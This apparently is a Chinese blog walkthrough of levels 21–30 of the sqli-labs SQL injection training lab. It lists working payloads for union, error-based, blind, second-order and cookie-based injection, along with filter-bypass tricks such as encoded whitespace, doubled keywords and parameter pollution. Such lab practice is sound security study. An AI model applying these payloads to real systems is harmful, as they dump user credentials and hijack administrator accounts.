sql-lib闯关秘籍之21-30关
下面開始11-20關(guān),之前不會的關(guān)卡可以參考我這幾篇文章: sql-lib闖關(guān)秘籍之1-10關(guān),sql-lib闖關(guān)秘籍之11-20關(guān)
不管是第幾關(guān),我們的最終目標是獲得用戶密碼,從而獲取最高權(quán)限!
以下的學(xué)習(xí)過程中如果遇到那里不會的或者不清楚的地方,歡迎大家留言,我將盡力幫助大家~
第二十一關(guān)
我們輸入用戶名密碼之后發(fā)現(xiàn)是這個樣子的,和第20關(guān)很像對吧,就是cookie的值變成了一堆字母數(shù)字,這是對cookie的值進行了base64的處理,其他和20關(guān)一樣
獲取版本庫名(我們只要轉(zhuǎn)碼就可以了)當(dāng)然要先確認cookie后面的構(gòu)造,通過測試是單引號括號閉合'),當(dāng)然這個也要轉(zhuǎn)碼,給大家一個轉(zhuǎn)碼的網(wǎng)站
這樣的話就是獲取庫名
最后獲得用戶名密碼,中間步驟不再一一截圖,里面的語句和第一關(guān)一樣
這是語句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#=
這是base64轉(zhuǎn)碼 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9
第二十二關(guān)
這一關(guān)還是輸入用戶名密碼先試試,發(fā)現(xiàn)和21關(guān)一樣
還是那個步驟先試試是啥閉合方式,發(fā)現(xiàn)是雙引號閉合,這就好辦了,其他和上一關(guān)一樣(步驟都一樣,直接給最后一步)
這是語句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=
這是base64碼 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g
第二十三關(guān)
上來先看一下23關(guān),趕緊又回歸原始了昂,咋和第一關(guān)有點像嘞,那還是哪些步驟試一試嘛
我剛開始我試了試發(fā)現(xiàn)字符型注入但是后面有個問題,可以用and 但是不能用聯(lián)合查詢語句了,一看php文件原來他把我的# --+注釋符號給過濾掉了
一種是用union select聯(lián)合查詢放在id里面 ?id=' union select 1,13,database() '
爆表
爆列
爆用戶名密碼
另一種是利用or "1"="1來閉合后面的雙引號也。可以達到我們的目的(簡單測試不再贅述,代碼和第五關(guān)的基本一樣) -1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
第二十四關(guān)
呀喝,剛進這個頁面有點意思哈
這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,
Sql語句變?yōu)閁PDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執(zhí)行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
注冊
登陸
修改密碼
再用admin 密碼123456登陸進來 注入成功
第二十五關(guān)
這關(guān)一上來好像就告訴我們不能用and喝or進行注入,那咱就不用了,接下來有三種方法(具體步驟不再截圖)
第一種方法,用--+ #這種普通注入 ?id=-1' union select 1,13,database()--+
第二種方法雙寫or和and,因為它過濾一個,我們就讓過濾后的東西再組成一個 ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
第三種方法,使用&&,||繞過 admin'||updatexml(1,concat(0x7e,(select@@version),0x7e),1)# 網(wǎng)上有成功的案例我沒成功也不知道為什么,我還會琢磨的,等找到答案再來填,
第二十五a關(guān)
差點沒發(fā)現(xiàn)這一關(guān)。。。通過這關(guān)的題目我們可以發(fā)現(xiàn)這關(guān)是盲注,所以說只是不回顯了的不用and和or,而且我測試發(fā)現(xiàn)這關(guān)是數(shù)字型注入也就是說沒有引號
說是盲注但是還有回顯,因為有回顯位(其他截圖步驟省略了,嘿嘿)
再說了,一說到盲注咱們就想到啥了?那肯定是時間盲注和布爾盲注對吧
時間盲注 ?id=-1 || if(length(database())=8,1,sleep(3))#
第二十六關(guān)
咱直接看它的php文件吧,越到后面越難了,看完之后滄桑了不少,這是直接來了個過濾大套餐啊,咋辦嘞?我們用URL編碼
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)
%a0 空格
%27單引號
用'1'='1進行閉合(注意在hackbar中輸入&&時,需要自行URL編碼為%26%26,否則會報錯,而輸入||不需要)
確定顯示位 ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
爆庫名 ?id=0'union%a0select%a01,database(),3%26%26'1'='1
查表名 ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
爆列名 ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
爆用戶名密碼 ?id=0'%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1(這里不同的是后面多了where '1'='1,是為了讓語句變成無約束查詢)
還有一種就是用連接符結(jié)合上幾天xpath報錯獲取信息來獲取信息 ?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
還可以盲注 ?id=0'||left(database(),1)='s'%26%26'1'='1
第二十六a關(guān)
這關(guān)與上一關(guān)的區(qū)別在于,在后面加上了括號進行閉合,同時在sql語句執(zhí)行拋出錯誤后并不在前臺頁面輸出。所有我們排除報錯注入,這里依舊是利用union注入
獲取數(shù)據(jù)庫名 ?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
爆表名 ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
爆列名 ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
爆用戶名密碼(全寫出來吧,不截圖了) ?id=100')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
第二十七關(guān)
總感覺這關(guān)應(yīng)該是上一關(guān)的進化版
發(fā)現(xiàn)過濾空格
發(fā)現(xiàn)過濾關(guān)鍵字
所以我們就用URL編碼和大小寫進行繞過,其他和上一關(guān)一樣
爆庫名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
爆用戶名密碼 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
獲得用戶名密碼
第二十七a關(guān)
和第二十七關(guān)一樣,就是把單引號變成雙引號閉合了
實驗一下 ?id=0"%A0or(1)=(1)%26%26%a0"1
獲得用戶名密碼(中間步驟省略)
獲得數(shù)據(jù)庫長度 ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3
獲得數(shù)據(jù)庫名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
爆表名(查表面需要閉合后面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)并一起,要不然會顯示不出來,這個我經(jīng)常忘記,沒有就會出現(xiàn)這種情況)
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
爆列名 ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
爆用戶名密碼?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
第二十八關(guān)
這關(guān)在之前的技術(shù)上,加上了union和select的大小寫也過濾了,都不能用了
我們直接用盲注,進行測試,一點一點試(其他的不贅述了)
得到數(shù)據(jù)庫名 (用聯(lián)合查詢語句的方法) (過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過,空格照樣用%0a替換)
第二十八a關(guān)
上一關(guān)是單引號,那這一關(guān)按規(guī)律就是雙引號了,試一下還真是
后來發(fā)現(xiàn)這樣也可以 ?id=1)''
爆數(shù)據(jù)庫名 ?id=0')UNion%a0SElect%a01,database(),('13')=('13
爆表名 ?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('13')=('13
爆列名 ?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('13')=('13
爆用戶名和密碼 ?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('13')=('13
當(dāng)然除了聯(lián)合查詢語句還可以 盲注 0')||left((database()),1)='s';%00
第二十九關(guān)
上來測試是雙引號單引號,一般來說都是單引號下一關(guān)是雙引號,這個是直接就是雙引號,并且兩個單引號也可以,那么語句可能是 select * from users where id='xx' limit 1,1
獲得數(shù)據(jù)庫名(union select 聯(lián)合查詢語句直接上,和之最開始前幾關(guān)一樣)(另外我發(fā)現(xiàn)#在這關(guān)不能用)
爆表名 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用戶名和密碼 ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
另外還有別的方法
利用tomcat與apache解析相同請求參數(shù)不同的特性,tomcat解析相同請求參數(shù)取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23利用tomcat與apache解析相同請求參數(shù)不同的特性,tomcat解析相同請求參數(shù)取第一個,而apache取第二個,如?id=1&id=2,tomcat取得1,apache取得2
獲得表名 ?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
第三十關(guān)
哇!這關(guān)和上一關(guān)一樣,就是把單引號換成了雙引號,太棒了,這關(guān)輕松
爆用戶名密碼 ?id=-1“ union select 1,2,group_concat(username,0x7e,password) from users--+
另外和上一關(guān)一樣,也可以利用tomcat與apache解析相同請求參數(shù)不同的特性
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
21-30關(guān)結(jié)束
該文章有參考了以下的網(wǎng)頁:
sqli-lab教程——1-35通關(guān)Writeup
SQL注入靶場sqli-labs 1-65關(guān)全部通關(guān)教程
sqli-labs(less1-less22)
sqli-labs實戰(zhàn)記錄(一)
SQLi_Labs通關(guān)文檔【1-65關(guān)】
總結(jié)
以上是生活随笔為你收集整理的sql-lib闯关秘籍之21-30关的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【LeetCode练习题】Permuta
- 下一篇: scrapy 让指定的spider执行指